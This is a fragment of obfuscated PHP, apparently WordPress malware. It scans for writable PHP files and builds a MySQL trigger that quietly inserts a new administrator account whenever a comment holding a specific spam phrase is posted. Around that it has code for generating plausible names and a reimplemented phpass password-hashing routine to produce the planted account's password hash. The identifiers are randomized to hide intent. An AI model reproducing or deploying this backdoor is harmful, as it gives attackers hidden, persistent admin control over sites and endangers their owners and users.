\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(is_dir($uvjevjar)\040&&\040is_writeable($uvjevjar))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$wogwnssp[]\040=\040$bbpdyzor;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040return\040array_unique($wogwnssp);\012}\012\012function\040wuppbbto($jqtdoz,\040$fhjfkvoxei\040=\0402,\040$crunjlfyf\040=\0401)\040{\012\012\040\040\040\040if\040(!is_dir($jqtdoz))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$bbpdyzor\040=\040realpath($jqtdoz);\012\012\012\040\040\040\040$sujeekoxt\040=\040new\040RecursiveIteratorIterator(new\040RecursiveDirectoryIterator($bbpdyzor),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$sujeekoxt->setMaxDepth($crunjlfyf);\012\012\040\040\040\040$wogwnssp\040=\040array();\012\012\040\040\040\040foreach\040($sujeekoxt\040as\040$ifalmdoq\040=>\040$uvjevjar)\040{\012\012\040\040\040\040\040\040\040\040$bbpdyzor\040=\040$uvjevjar->getPathName();\012\040\040\040\040\040\040\040\040if\040(stristr($bbpdyzor,\040'.php')\040===\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(!is_writeable(dirname($bbpdyzor)))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$wogwnssp[$bbpdyzor]\040=\0401;\012\040\040\040\040}\012\012\040\040\040\040$hnmwfkcktcr\040=\040array_keys($wogwnssp);\012\040\040\040\040shuffle($hnmwfkcktcr);\012\012\040\040\040\040return\040array_slice($hnmwfkcktcr,\0400,\040$fhjfkvoxei);\012}\012\012function\040xahgg($dstiijrhuu,\040$faqyfnmq,\040$rbntvxbqgz,\040$eoqhwbtansqr,\040$sbyyayqhidpa,\040$ciavtsv,\040$ehrdazbk,\040$tjvhqnrl,\040$ecvqtmq,\040$uvmzfgmya,\040$ndwszew)\040{\012\012\040\040\040\040$njizhyczmatd\040=\040<<<STR\012CREATE\040TRIGGER\040`after_insert_comment`\040AFTER\040INSERT\040ON\040`${uvmzfgmya}`.`${ndwszew}comments`\012\040FOR\040EACH\040ROW\040BEGIN\012\040\040\040\040IF\040NEW.comment_content\040LIKE\040'%are\040you\040struggling\040to\040get\040comments\040on\040your\040blog?%'\040THEN\012\040\040\040\040\040\040\040\040SET\040@lastInsertWpUsersId\040=\040(SELECT\040MAX(id)\040FROM\040`${uvmzfgmya}`.`${ndwszew}users`);\012\040\040\040\040\040\040\040\040SET\040@nextWpUsersID\040=\040@lastInsertWpUsersId\040+\0401;\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${uvmzfgmya}`.`${ndwszew}users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040(@nextWpUsersID,\040'${dstiijrhuu}',\040'${faqyfnmq}',\040'${rbntvxbqgz}',\040'${eoqhwbtansqr}',\040'${sbyyayqhidpa}',\040'${ciavtsv}',\040'${ehrdazbk}',\040'${tjvhqnrl}',\040'${ecvqtmq}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${uvmzfgmya}`.`${ndwszew}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${ndwszew}capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}');\012\040\040\040\040\040\040\040\040INSERT\040INTO\040`${uvmzfgmya}`.`${ndwszew}usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040@nextWpUsersID,\040'${ndwszew}user_level',\040'10');\012\040\040\040\040END\040IF;\012\040END;\012STR;\012\040\040\040\040return\040$njizhyczmatd;\012}\012\012function\040xvucoxl($hmynccegbeea)\040{\012\040\040\040\040$xvrndumc\040=\040parse_url($hmynccegbeea,\040PHP_URL_HOST);\012\040\040\040\040return\040str_replace('www.',\040'',\040$xvrndumc);\012}\012\012function\040njxfsgarh($mkrebwnbtopq,\040$umpcigqdcqre,\040$fbbiwsf\040=\040'Y-m-d\040H:i:s')\040{\012\040\040\040\040$zyupphqxbxsd\040=\040strtotime($mkrebwnbtopq);\012\040\040\040\040$zlbepvlsa\040=\040strtotime($umpcigqdcqre);\012\040\040\040\040$ezqvpjvcm\040=\040mt_rand($zyupphqxbxsd,\040$zlbepvlsa);\012\012\040\040\040\040return\040date($fbbiwsf,\040$ezqvpjvcm);\012}\012\012function\040wkaie($auyzpge,\040$cyewzzjx\040=\040false)\040{\012\040\040\040\040$oattaevwm\040=\040"abcdefghijklmnopqrstuvwxyz";\012\040\040\040\040if\040($cyewzzjx)\040{\012\040\040\040\040\040\040\040\040$oattaevwm\040.=\040'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';\012\040\040\040\040}\012\012\040\040\040\040$lsljvrjqa\040=\040strlen($oattaevwm);\012\040\040\040\040$bluczlwkx\040=\040"";\012\012\040\040\040\040for\040($yhehzw\040=\0400;\040$yhehzw\040<\040$auyzpge;\040$yhehzw++)\040{\012\040\040\040\040\040\040\040\040$bluczlwkx\040.=\040$oattaevwm[rand(0,\040$lsljvrjqa\040-\0401)];\012\040\040\040\040}\012\040\040\040\040return\040$bluczlwkx;\012}\012\012function\040grwpqszdk()\040{\012\040\040\040\040preg_match_all('~\134d~',\040md5($_SERVER['HTTP_HOST']),\040$ywbedld);\012\012\040\040\040\040$vavnujodr\040=\040$ywbedld[0][0];\012\040\040\040\040$arzlywkur\040=\040end($ywbedld[0]);\012\012\040\040\040\040$qyswjwzpdhi\040=\040array('wp',\040'cms',\040'web',\040'dev',\040'blog',\040'main',\040'articles',\040'notes',\040'news',\040'archive',);\012\040\040\040\040$cicpoepw\040=\040array('panel',\040'feed',\040'client',\040'user',\040'rss',\040'option',\040'auth',\040'table',\040'user',\040'profile',);\012\012\040\040\040\040return\040$qyswjwzpdhi[$vavnujodr]\040.\040$cicpoepw[$arzlywkur];\012}\012\012function\040pmrhketz($ghewhap,\040$tuyloserasv)\040{\012\040\040\040\040$qirsgyi\040=\040'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\012\040\040\040\040define('ITOA64_CUSTOM',\040$qirsgyi);\012\012\040\040\040\040if\040($ghewhap\040<\0404\040||\040$ghewhap\040>\04031)\040{\012\040\040\040\040\040\040\040\040$ghewhap\040=\0408;\012\040\040\040\040}\012\012\040\040\040\040define('ITERATION_COUNT_LOG2_CUSTOM',\040$ghewhap);\012\040\040\040\040define('PORTABLE_HASHES_CUSTOM',\040$tuyloserasv);\012\012\040\040\040\040$sdxcjn\040=\040microtime();\012\040\040\040\040if\040(function_exists('getmypid'))\040{\012\040\040\040\040\040\040\040\040$sdxcjn\040.=\040getmypid();\012\040\040\040\040}\012\040\040\040\040define('RANDOM_STATE_CUSTOM',\040$sdxcjn);\012}\012\012function\040ncgcqmj($qjdlhj)\040{\012\040\040\040\040if\040(strlen($qjdlhj)\040>\0404096)\040{\012\040\040\040\040\040\040\040\040return\040'*';\012\040\040\040\040}\012\012\040\040\040\040$nkmifsqwkeu\040=\040'';\012\012\040\040\040\040if\040(CRYPT_BLOWFISH\040===\0401\040&&\040!PORTABLE_HASHES_CUSTOM)\040{\012\040\040\040\040\040\040\040\040$nkmifsqwkeu\040=\040bjxuzn(16);\012\040\040\040\040\040\040\040\040$gevriv\040=\040crypt($qjdlhj,\040xdqttthu($nkmifsqwkeu));\012\040\040\040\040\040\040\040\040if\040(strlen($gevriv)\040===\04060)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$gevriv;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($nkmifsqwkeu)\040<\0406)\040{\012\040\040\040\040\040\040\040\040$nkmifsqwkeu\040=\040bjxuzn(6);\012\040\040\040\040}\012\040\040\040\040$gevriv\040=\040pqadfxuy($qjdlhj,\040dpzrk($nkmifsqwkeu));\012\040\040\040\040if\040(strlen($gevriv)\040===\04034)\040{\012\040\040\040\040\040\040\040\040return\040$gevriv;\012\040\040\040\040}\012\012\040\040\040\040return\040'*';\012}\012\012function\040bjxuzn($ehwggonkxmfc)\040{\012\040\040\040\040$btezkf\040=\040'';\012\040\040\040\040if\040(@is_readable('/dev/urandom')\040&&\040($jryzefjir\040=\040@fopen('/dev/urandom',\040'rb')))\040{\012\040\040\040\040\040\040\040\040$btezkf\040=\040fread($jryzefjir,\040$ehwggonkxmfc);\012\040\040\040\040\040\040\040\040fclose($jryzefjir);\012\040\040\040\040}\012\012\040\040\040\040if\040(strlen($btezkf)\040<\040$ehwggonkxmfc)\040{\012\040\040\040\040\040\040\040\040$btezkf\040=\040'';\012\040\040\040\040\040\040\040\040$kszlppru\040=\040RANDOM_STATE_CUSTOM;\012\040\040\040\040\040\040\040\040for\040($yhehzw\040=\0400;\040$yhehzw\040<\040$ehwggonkxmfc;\040$yhehzw\040+=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$kszlppru\040=\040md5(microtime()\040.\040$kszlppru);\012\040\040\040\040\040\040\040\040\040\040\040\040$btezkf\040.=\040md5($kszlppru,\040TRUE);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$btezkf\040=\040substr($btezkf,\0400,\040$ehwggonkxmfc);\012\040\040\040\040}\012\012\040\040\040\040return\040$btezkf;\012}\012\012function\040xdqttthu($pddasxb)\040{\012\012\040\040\040\040$qirsgyi\040=\040'./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\012\012\040\040\040\040$btezkf\040=\040'$2a$';\012\040\040\040\040$btezkf\040.=\040chr((int)(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040/\04010));\012\040\040\040\040$btezkf\040.=\040chr(ord('0')\040+\040ITERATION_COUNT_LOG2_CUSTOM\040%\04010);\012\040\040\040\040$btezkf\040.=\040'$';\012\012\040\040\040\040$yhehzw\040=\0400;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$btblzxumcom\040=\040ord($pddasxb[$yhehzw++]);\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$btblzxumcom\040>>\0402];\012\040\040\040\040\040\040\040\040$btblzxumcom\040=\040($btblzxumcom\040&\0400x03)\040<<\0404;\012\040\040\040\040\040\040\040\040if\040($yhehzw\040>=\04016)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$btblzxumcom];\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$sfztecjm\040=\040ord($pddasxb[$yhehzw++]);\012\040\040\040\040\040\040\040\040$btblzxumcom\040|=\040$sfztecjm\040>>\0404;\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$btblzxumcom];\012\040\040\040\040\040\040\040\040$btblzxumcom\040=\040($sfztecjm\040&\0400x0f)\040<<\0402;\012\012\040\040\040\040\040\040\040\040$sfztecjm\040=\040ord($pddasxb[$yhehzw++]);\012\040\040\040\040\040\040\040\040$btblzxumcom\040|=\040$sfztecjm\040>>\0406;\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$btblzxumcom];\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$sfztecjm\040&\0400x3f];\012\040\040\040\040}\040while\040(1);\012\012\040\040\040\040return\040$btezkf;\012}\012\012function\040pqadfxuy($qjdlhj,\040$lgbaqhy)\040{\012\040\040\040\040$btezkf\040=\040'*0';\012\040\040\040\040if\040(substr($lgbaqhy,\0400,\0402)\040===\040$btezkf)\040{\012\040\040\040\040\040\040\040\040$btezkf\040=\040'*1';\012\040\040\040\040}\012\012\040\040\040\040$aubesgasn\040=\040substr($lgbaqhy,\0400,\0403);\012\040\040\040\040//if\040($aubesgasn\040!==\040'$stjwhk$'\040&&\040$aubesgasn\040!==\040'$fdhhlxdj$')\040{\012\040\040\040\040if\040($aubesgasn\040!==\040base64_decode('JFAk')\040&&\040$aubesgasn\040!==\040base64_decode('JEgk'))\040{\012\040\040\040\040\040\040\040\040return\040$btezkf;\012\040\040\040\040}\012\012\040\040\040\040$mcddkefcgv\040=\040strpos(ITOA64_CUSTOM,\040$lgbaqhy[3]);\012\040\040\040\040if\040($mcddkefcgv\040<\0407\040||\040$mcddkefcgv\040>\04030)\040{\012\040\040\040\040\040\040\040\040return\040$btezkf;\012\040\040\040\040}\012\012\040\040\040\040$ehwggonkxmfc\040=\0401\040<<\040$mcddkefcgv;\012\012\040\040\040\040$ysbmnogmazw\040=\040substr($lgbaqhy,\0404,\0408);\012\040\040\040\040if\040(strlen($ysbmnogmazw)\040!==\0408)\040{\012\040\040\040\040\040\040\040\040return\040$btezkf;\012\040\040\040\040}\012\012\040\040\040\040$gevriv\040=\040md5($ysbmnogmazw\040.\040$qjdlhj,\040TRUE);\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$gevriv\040=\040md5($gevriv\040.\040$qjdlhj,\040TRUE);\012\040\040\040\040}\040while\040(--$ehwggonkxmfc);\012\012\040\040\040\040$btezkf\040=\040substr($lgbaqhy,\0400,\04012);\012\040\040\040\040$btezkf\040.=\040opakybmax($gevriv,\04016);\012\012\040\040\040\040return\040$btezkf;\012}\012\012function\040opakybmax($pddasxb,\040$ehwggonkxmfc)\040{\012\040\040\040\040$btezkf\040=\040'';\012\040\040\040\040$yhehzw\040=\0400;\012\040\040\040\040$qirsgyi\040=\040ITOA64_CUSTOM;\012\040\040\040\040do\040{\012\040\040\040\040\040\040\040\040$gdpiobngbo\040=\040ord($pddasxb[$yhehzw++]);\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[$gdpiobngbo\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($yhehzw\040<\040$ehwggonkxmfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$gdpiobngbo\040|=\040ord($pddasxb[$yhehzw])\040<<\0408;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[($gdpiobngbo\040>>\0406)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($yhehzw++\040>=\040$ehwggonkxmfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040($yhehzw\040<\040$ehwggonkxmfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$gdpiobngbo\040|=\040ord($pddasxb[$yhehzw])\040<<\04016;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[($gdpiobngbo\040>>\04012)\040&\0400x3f];\012\040\040\040\040\040\040\040\040if\040($yhehzw++\040>=\040$ehwggonkxmfc)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040$btezkf\040.=\040$qirsgyi[($gdpiobngbo\040>>\04018)\040&\0400x3f];\012\040\040\040\040}\040while\040($yhehzw\040<\040$ehwggonkxmfc);\012\012\040\040\040\040return\040$btezkf;\012}\012\012function\040dpzrk($pddasxb)\040{\012\040\040\040\040//$btezkf\040=\040'$stjwhk$';\012\040\040\040\040$btezkf\040=\040base64_decode('JFAk');\012\040\040\040\040$qirsgyi\040=\040ITOA64_CUSTOM;\012\040\040\040\040$btezkf\040.=\040$qirsgyi[min(ITERATION_COUNT_LOG2_CUSTOM\040+\0405,\04030)];\012\040\040\040\040$btezkf\040.=\040opakybmax($pddasxb,\0406);\012\012\040\040\040\040return\040$btezkf;\012}\012\012function\040kbcbioxdz()\040{\012\040\040\040\040$rbvwwacsto\040=\040wkaie(rand(20,\04040),\040true);\012\040\040\040\040pmrhketz(4,\040true);\012\040\040\040\040$gevriv\040=\040ncgcqmj($rbvwwacsto);\012\040\040\040\040return\040array($rbvwwacsto,\040$gevriv);\012}